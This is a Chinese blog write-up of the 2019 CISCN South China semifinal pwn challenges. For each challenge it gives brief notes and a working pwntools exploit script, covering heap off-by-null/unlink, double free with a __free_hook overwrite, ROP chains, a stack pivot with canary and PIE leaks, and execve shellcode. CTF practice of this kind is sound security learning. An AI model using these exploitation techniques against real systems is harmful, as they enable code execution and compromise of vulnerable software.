2019CISCN华南赛区半决赛 pwn

好久没有练过pwn了,, 感觉自己pwn 都废了,, 近期打算刷一下攻防世界的android  然后 刷刷这个华南赛区的pwn。

如果刷的差不多 打算继续刷buuoj 。暂时把自己会的刷完。。

pwn1

这个题目真的很有意思  感觉出题人费心了

edit 函数已经给限制了

然后show 函数也限制了

 edit 函数🈶️一个 off by null 由于没有开pie 

 unlink 就变得很简单  

这里必须unlink到  32 的堆块位置,,, 要不然够不到key2   也没有 off by null key1

其他就没有啥说的了,,,,

就是off by null 

修改key2  off by null key1 

然后修改 free hook  就ok


from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.arch='amd64'
context.log_level = "debug"



def gdb_s():
	gdb.attach(io)
	pause()


def add(index,size,con):
	io.recvuntil("4.show")
	io.sendline("1")
	io.recvuntil("index:")
	io.sendline(str(index))
	io.recvuntil("size:")
	io.sendline(str(size))
	io.recvuntil("content:")
	io.send(con)

def dele(index):
	io.recvuntil("4.show")
	io.sendline("2")
	io.recvuntil("index:")
	io.sendline(str(index))

def edit(index,con):
	io.recvuntil("4.show")
	io.sendline("3")
	io.recvuntil("index:")
	io.sendline(str(index))
	io.recvuntil("content:")
	io.send(con)

def show(index):
	io.recvuntil("4.show")
	io.sendline('4')
	io.recvuntil("index:")
	io.sendline(str(index))

if __name__ =="__main__":
	add(10,0xf0,'1010'+'\n')
	bss_addr=0x6021E0
	heap_len=0x602060
	heap_addrs=0x6020E0
	#gdb_s()
	io.recvuntil("4.show")
	io.sendline("1")
	io.recvuntil("index:")
	io.sendline('16')
	io.recvuntil("size:")
	io.sendline(str(0xf8))
	io.recvuntil("gift: ")
	heap_addr=int(io.recvline(),16)-0x110
	
	log.success("heap_addr "+hex(heap_addr))
	io.recvuntil("content:")
	io.sendline("/bin/sh;")
	add(1,0xf8,"111"+'\n')
	add(2,0xf8,"222"+'\n')
	add(32,0xf8,"3232"+'\n')
	add(31,0xf8,"3131"+'\n')
	add(30,0xf8,"3030"+'\n')
	add(3,0xf8,"3333"+'\n')
	# index 32--> 0x6021c8
	#  key1=6022BC  key2=6022B8
	#unlink
	fd=heap_addrs+0x8*32-0x10-0x8
	payload=p64(0)+p64(0xf0)+p64(fd)+p64(fd+0x8)
	payload=payload.ljust(0xf0,'a')
	payload+=p64(0xf0)

	edit(32,payload)
	
	#gdb_s()
	dele(31)

	#gdb_s()
	#add(5,0xf8,'444'+'\n')
	#add(6,0xf8,'444'+'\n')
	#gdb_s()
	payload=p64(fd)*3+p64(elf.got['free'])
	payload=payload.ljust(0xf0,'a')
	payload+=p64(1)
	edit(32,payload)
	#gdb_s()
	#edit key2=1  key1=1
	show(32)
	#print io.recv
	io.recvline()
	leak=u64(io.recv(6).ljust(8,'\x00'))
	#print leak
	libc_base_addr=leak-libc.sym['free']
	#print libc_base_addr
	log.success("libc_base_addr "+hex(libc_base_addr))

	system_addr=libc_base_addr+libc.sym['system']
	free_hook_addr=libc_base_addr+libc.sym['__free_hook']

	payload=p64(free_hook_addr)*4
	payload=payload.ljust(0xf0,'a')
	payload+=p64(1)

	edit(30,payload)

	edit(30,p64(system_addr))	
	#gdb_s()
	#add(16,0xf8,"3333"+'\n')
	show(16)
	dele(16)


	io.interactive()
	io.close()

pwn3 

这个题目一看就知道是系统调用的 execve(/bin//sh,0,0)、

32位的情况是

 

eax   系统调用号载入, execve为0xb  ebx 第一个参数  ecx 第二个参数 pop edx 第三个参数 int 0x80

64位的

rax    系统调用号载入    传参依次是 RDI、RSI、RDX、R10、R8、R9  (和gcc 编译出64位函数传参一样,vs编译的RCX、RDX、R8、R9 )

32位是0xb  64是 0x3b

然后这个题目的rop 真难找,,,

最后的rdx,,,, 看了参考链接才找到


from pwn import*
io=process("./short")
elf=ELF("./short")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.arch='amd64'
context.log_level = "debug"

def gdb_s():
	gdb.attach(io)
	pause()


if __name__ =="__main__":
	main_addr=0x40051D
	syscall_ret=0x0000000000400517
	mov_eax_ret=0x00000000004004e3
	pop_rdi_ret=0x00000000004005a3
	pop_rsi_r15=0x00000000004005a1
	pop_r14_r15=0x00000000004005a0
	pop_r12_r13_r14_r15=0x000000000040059c
	pop_rbx_rbp_r12_r13_r14_r15=0x40059A
	mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
	payload='a'*0x10+p64(main_addr)
	io.sendline(payload)


	leak_addr= u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

	stack_addr=leak_addr-0x118
	#gdb_s()
	payload="/bin/sh\x00".ljust(0x10,'\x00')
	payload+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(stack_addr+80)+p64(0)*3
	payload+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)
	payload+=p64(mov_eax_ret)
	payload+=p64(pop_rsi_r15)+p64(0)*2
	payload+=p64(pop_rdi_ret)+p64(stack_addr-0x20)
	payload+=p64(syscall_ret)
	io.sendline(payload)




	io.interactive()
	io.close()

 

 

 

 

 

pwn4

就是一个简单的栈溢出,,,,只是用system 没有搞定 还是one 香


#encoding:utf-8
#!/upr/bin/env python
from pwn import *

io=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.log_level = "debug"
def debug():
    gdb.attach(io)
    pause()
if __name__ == '__main__':
    io.recvuntil("Welcome, my friend. What's your name?")
    io.sendline("a"*0x28)
    #debug()
    io.recvuntil('a'*0x28)
    io.recv(8)
    __exit_funcs_addr=u32(io.recv(4))
    log.success("__exit_funcs_addr "+hex(__exit_funcs_addr))
    libc_base_addr=__exit_funcs_addr-(0xf7ed03dc-0xf7d1e000)
    log.success("libc_base_addr "+hex(libc_base_addr))
    #payload='a'*0x28+p32(libc.search('/bin/sh').next()+libc_base_addr)+p32(libc.sym['system']+libc_base_addr)
    payload='a'*0x2c+p32(0x3ac5c+libc_base_addr)
    io.sendline(payload)

    io.interactive()
'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5fbc6 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

'''

pwn6 

很简单的double free

#encoding:utf-8
#!/usr/bin/env python 
from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"

def gdb_s():
    gdb.attach(io)
    pause()

def add(size,name,call):
    io.recvuntil("choice:")
    io.sendline("1")
    io.recvuntil("Please input the size of compary's name\n")
    io.sendline(str(size))
    io.recvuntil("please input name:\n")
    io.send(name)
    io.recvuntil("please input compary call:\n")
    io.send(call)

def call(index):
    io.recvuntil("choice:")
    io.sendline("3")
    io.recvuntil("Please input the index:\n")
    io.sendline(str(index))

def show(index):
    io.recvuntil("choice:")
    io.sendline("2")
    io.recvuntil("Please input the index:\n")
    io.sendline(str(index))



if __name__ =="__main__":
    add(0x18,"a"*8,"b"*8)#0
    add(0x80,"c"*8,"d"*8)#1
    add(0x80,"e"*8,"f"*8)#2
    for i in range(8):
        call(1)
    call(0)
    add(0x80,'k'*8,'g'*8)
    #gdb_s()
    show(3)
    leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
    log.success("leak_addr "+hex(leak_addr))

    libc_base_addr=leak_addr-(0x7f274f806ca0-0x7f274f41b000)
    log.success("libc_base_addr "+hex(libc_base_addr))
    free_hook_addr=libc_base_addr+libc.sym['__free_hook']
    system_addr=libc_base_addr+libc.sym['system']
    add(0x40,'444','5555')
    add(0x40,'6666','777777')
    add(0x40,'pppp','pppp')
    call(4)
    call(5)
    call(4)
    #gdb_s()
    add(0x40,p64(free_hook_addr),'w')
    add(0x40,"/bin/sh\x00",'p')
    add(0x40,"/bin/sh\x00",'p')
    add(0x40,p64(system_addr),'x')
    call(8)

    io.interactive()
    io.close()











    

pwn7

这个题 保护全开 一开始看c++的时候 感觉还挺恶心  后来发现 也就是个rop题目 只不过 先要泄漏出piebase 

柳暗花明又一村的 一幕就是 上一层的 堆栈里面有这个

但是泄漏libc的话 还是rop 泄漏 死于长度 = =

最后栈转移 执行rop


from pwn import*

elf=ELF("./babypwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"

while True:
	try:
		io=process("./babypwn")


		def gdb_s():
			gdb.attach(io)
			pause()

		if __name__ =="__main__":
			go_str=""
			ls="admin"
			for i in range(len(ls)):
				go_str+=chr(i^ord(ls[i]))
			#gdb_s()
			io.recvuntil("please input your name\n")
			io.sendline(go_str)
			#gdb_s()
			io.recvuntil("do you want to get something???\n")
			io.sendline('a'*0x18)
			io.recvuntil('a'*0x18)
			canary=u64(io.recv(8))-0xa
			log.success("canary "+hex(canary))
			stack_addr = u64(io.recv(6).ljust(8,"\x00"))-0x28
			log.success("stack_addr "+hex(stack_addr))	


				#io.recv
			io.recvuntil("OK???\n")
			payload='a'*0x10
			io.send(payload)
			io.recvuntil("I think you can do something now\n")
			payload='a'*0x28+p64(canary)+'c'*0x8+"\xde\x50"
			io.send(payload)
			#io.recv()
			io.recvuntil("do you want to get something???\n")
			io.send("a"*0x18)
			io.recvuntil("OK???\n")
			#gdb_s()
			io.send("a"*0x29)
			#print io.recv()
			io.recvuntil('c'*0x8)

			piebase = u64(io.recv(6).ljust(8,"\x00"))-0x1440

			log.success("piebase "+hex(piebase))

			printf_got=elf.got["printf"]+piebase
			printf_plt=elf.plt["printf"]+piebase
			read_got=elf.got["read"]+piebase

			io.recvuntil("I think you can do something now\n")

			pop_rdi_ret=piebase+0x14a3
			leave_ret=piebase+0x10dc
			sub_10DE = piebase+0x10de

			pause()

			payload = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
			payload +=p64(sub_10DE)+p64(canary)+p64(stack_addr)+p64(leave_ret)

			io.send(payload)

			#print io.recv()

			libc_base_address = u64(io.recv(6).ljust(8,"\x00"))-libc.sym["read"]
			log.success("libc_base_address "+hex(libc_base_address))

			sysytem_addr=libc.sym['system']+libc_base_address
			#gdb_s()
			io.recvuntil("do you want to get something???\n")
			#piedebug(0x11fe)
			io.sendline("a"*0x8)
			io.recvuntil("OK???\n")
			io.sendline("a"*0x8)
			io.recvuntil("I think you can do something now\n")


			payload='/bin/sh;'+p64(pop_rdi_ret)+p64(stack_addr)+p64(sysytem_addr)
			payload+=p64(0)+p64(canary)+p64(stack_addr-0x10)+p64(leave_ret)

			io.send(payload)

			io.interactive()
			io.close()

	except:
		io.close()

 

pwn8

这个直接用  ropgadget  --binary ./easy_pwn --ropchain 就可以了

 


#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from struct import pack
io=process("./easy_pwn")
elf=ELF("./easy_pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
def debug():
    gdb.attach(io)
    pause()
if __name__ == '__main__':
    p = ''

    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e0) # @ .data
    p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
    p += pack('<Q', 0x00000000006ba0e0) # @ .data
    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
    p+=p64(59)
    p += pack('<Q', 0x000000000040139c) # syscall


    payload='a'*0x50

    for i in p:
        payload+=chr(ord(i)^0x66)

    io.recv()
    #debug()
    io.sendline(payload)

    io.interactive()

pwn9

这个题目应该算是简单的 jmp esp 在windows 下的溢出里面很常见 

当看到hint 这个函数有jmp esp  并且 什么保护都没有开的时候 我就感觉这个题目很简单

 


from pwn import*
io=process("./pwn")
elf=ELF("./pwn")
context.log_level = "debug"

def gdb_s():
	gdb.attach(io)
	pause()



if __name__ =="__main__":
	jmp_addr=0x8048554
	pay=asm("xor    eax,eax")
	pay+=asm("push   eax")
	pay+=asm("push   0x68732f2f")
	pay+=asm("push   0x6e69622f")
	pay+=asm("mov    ebx,esp")
	pay+=asm("mov    ecx,eax")
	pay+=asm("mov    edx,eax")
	pay+=asm("mov    al,0xb")
	pay+=asm("int    0x80")
	#print len(pay)
	payload=pay.ljust(0x24,'\x00')
	payload+=p32(jmp_addr)
	#gdb_s()
	payload+=asm("sub esp,0x28")
	payload+=asm("call esp")
	io.sendline(payload)
	




	io.interactive()
	io.close()

参考链接

https://xz.aliyun.com/t/5517

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值